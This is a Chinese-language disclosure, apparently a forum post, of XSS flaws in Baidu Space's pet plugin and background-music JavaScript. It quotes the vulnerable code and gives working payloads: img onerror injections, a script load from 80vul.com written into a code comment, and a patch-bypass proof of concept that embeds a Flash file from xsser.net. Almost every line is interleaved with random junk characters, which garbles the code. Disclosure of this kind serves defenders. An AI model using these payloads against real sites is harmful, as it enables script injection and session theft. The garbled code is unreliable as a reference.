百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
. K4 x3 B' q. z& c9 M3 }) ~7 Y% x" w. V( K' b: z
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. % y# J, h# q5 R: @
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
0 }; Q8 _9 J( i, i7 b% }
& G- \. Z' @. o0 D& k v将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> ; X% x3 p8 n; \/ S v4 w
其中BdUtil.insertWBR为
6 y) f4 }0 ]. w4 jfunction(text, step) {
- d7 q$ U1 C6 u9 Y* N5 M! Z& O: b0 k var textarea = textAreaCache || getContainer(); , F2 Z/ `9 e& P
if (!textarea) { 8 L; B. @( D- J' V; a, V
return text; , J1 E e4 x. _, A
}
" K. X9 r% Z+ c. Z2 S# [0 p textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
; s$ D3 i0 o. w+ g var string = textarea.value; |& Q: N0 m" d7 t" y. @: x9 s
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); ; l8 W& ~& w) d# c
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
* L! M& P4 ~, o return result; # j3 O, L( O# b9 U
} 8 x. `' S2 X) G# r! `
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
* y# c/ w1 m6 p9 ]; O4 e测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> / w1 ~) Q7 \4 m3 P4 B; T
( ?) v H( ~ K4 L5 X
二:creatbgmusic() Dom-Xss Bug P$ L. p S. X9 u, n- c/ z" W
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
- K( L( N/ v( q0 a
" C0 [: f1 v" `在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
+ ~1 ?# F" G/ D! {, U" e9 F' X$ ^: I8 f% R$ s7 @/ H1 Y
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
, _' M& g3 l5 Q: d3 p; G //传入的murl赋值到bgmusic1和bgmusic2中
& ?* Z) Y- I6 _+ s. { //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 6 a# P8 v; W, \ _
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
7 j, F' I! i+ Z- N4 O) j if (musicnum <= 1) { ! K \9 |' ]. n5 v
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
% q1 K+ I5 p2 q* K } . d# z; r5 c0 J' [8 U
bgmusic1 += "</OBJECT>"; % r& B' Z9 R9 [( ?
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; " x; ^' K [ Q2 G0 P- T) n
if (musicnum <= 1) {
9 P: j3 z" h4 V" v bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
7 N! [8 V. u6 @3 L4 y, J& | } 1 ?4 S1 N# K$ v& e) X
bgmusic2 += "> </EMBED>"; Y7 p3 o0 E* b$ y. Y
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
( Y/ k. ]9 W9 d/ R var bgmus = detectWMP(); 3 D% O- V! W7 w
if (functype == "FckMusicHelper") {
4 u) Y9 A& P2 j; O: [6 ]0 B0 L if (bgmus.installed) {
) }( Y1 r- M2 d0 \! t if (bgmus.type == "IE") { ( J4 X; y% H4 n" `
return bgmusic1;
) M+ r0 e* ]9 I4 P& H } else if (bgmus.type == "NS") {
4 {+ q. J1 I3 @3 ?2 N5 Q return bgmusic2;
$ ~8 D1 Y! I. ~6 r4 c% ] } % b! g G# z' v2 k& K
} else {
+ T% U+ ]1 w" M, j' p/ }9 i. \ return bgmusic3; - |2 T, |+ i$ S+ r N
} ! R# G9 ?( ^* ^
} else { ( l+ D: H3 _# A3 B* U# U+ R+ q8 [
if (bgmus.installed) { + B- X: T/ u* }! l5 h$ \
//document.write 直接输出bgmusic变量 导致xss % L a1 t; q/ V+ S
if (bgmus.type == "IE") {
) z- ?6 b' P2 L% D6 R3 _ document.write(bgmusic1); ) j( W' t8 }7 @& i6 O X6 M0 g
} else if (bgmus.type == "NS") { . j) F! e9 D) y5 J; V
document.write(bgmusic2); , U2 C' B: g3 p+ {) X- C
} 8 B2 D! u) C) s8 r- _
} else {
+ A* c" d! Z5 O. p3 U' L4 _2 h document.write(bgmusic3); # M4 N! _, X! M! a* @0 I7 w
} & D0 w- ?1 O4 K- ^; s; M T; P
return ""; ; Z: z7 c% W( ]. o. g) M# f: C
} * \7 m8 f2 F2 [ d8 B4 ^# g
}
0 _' S% J: A! l0 F% m; W* d, ^& _; U y; M2 I
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
2 V2 _6 ?1 O: @1 ^' G% a/ I
" B' b6 c8 ?4 Z" d* \function initBlogTextForFCK(){
' M# x @4 P7 S0 I+ F h* v: o5 {" J//fck init music : n) C8 V8 E& c7 Y# t; T) i
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
$ W* C% n; m" s; w, V4 o+ kvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
' m: F& k$ a; A$ p% O& xvar isAutoPlay=true; 7 w# h- m4 {5 l+ X. p
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. 1 }' U1 w4 D% a/ |. A
var img=imgBox; 2 {8 ]6 v9 x- }/ Q v' r, U: N
if(img.getAttribute(’rel’)){
# c8 i& m( L! \ var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc " k3 P* _+ I: I! x& }
var musicDiv = document.createElement("SPAN"); " j, d& E# l1 d
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] 4 l O) X# ~1 p l
: W; x& V: |' a& L& C( E ..........................
$ P' K. w D# ?! `& D i9 w2 s6 H& H- t3 y- d$ I
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
/ ?' D6 u+ U2 @. Q var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); ( y7 l; L P+ }0 o! E
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
0 ~8 L* I( ~5 `5 U musicDiv.innerHTML=shtml;
5 ]. j- Q1 `, m. E1 b6 A7 y4 ^5 A i--;n--; 5 @3 r f4 A* p* Z) r2 v* L
}
( Q' r% r2 v+ F4 I# U8 K9 y} ; a5 f' {: @! `. r
, v$ G& M0 F: A$ Y8 B/ T从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
5 U; f+ [1 C! M+ V' r: }& `. T9 K $ @% X, g7 ^5 O# |+ l; y
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
# D- R* w9 @. I0 m* n
# m/ j) A9 M9 Z* n9 |+ ^等待官方补丁
8 h- _& f/ H7 C2 y; w: j6 I' Z
3 U X' b; m; jupdate 2010年5月13日
7 ?0 |: O+ I5 p& W, _5 d
V0 c& k; }: O6 S2 J4 b' s! L官方补丁:
2 C( t: H8 M: e, `; Q7 \/ `2 q: C! D1 S6 i+ l7 T) t
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); # ~% ^ g& Z S* O5 `% k1 f1 ]; i( M {
改为:
{6 q0 I' q) G( Fvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); 8 J, y% V" `, S! |7 x6 N* ~2 [2 s% N0 p
1 e6 G3 a: }" ]( N Y2 Gupdate 2010年5月13日 21:50:37 . [) I/ q& M6 D+ V7 O$ W# |6 O
! V& w4 ^3 _% Q$ U: ^5 o
补丁存在漏洞 没有过滤" 可以继续跨:
5 e$ H" j6 y0 [0 R6 I* V; R* m+ E) T1 H3 P5 c
NEW POC: 9 c6 a2 B; I' M
4 a4 T9 J8 F @' E0 b! d
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" e( f3 e) y" B) u( U. C. ]
w* c% }- G* \% s+ W. E- p" oallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>) Y0 l+ X# k* [* H: t9 q. y
1 y' T' _# x9 n- _+ x$ i/ @ |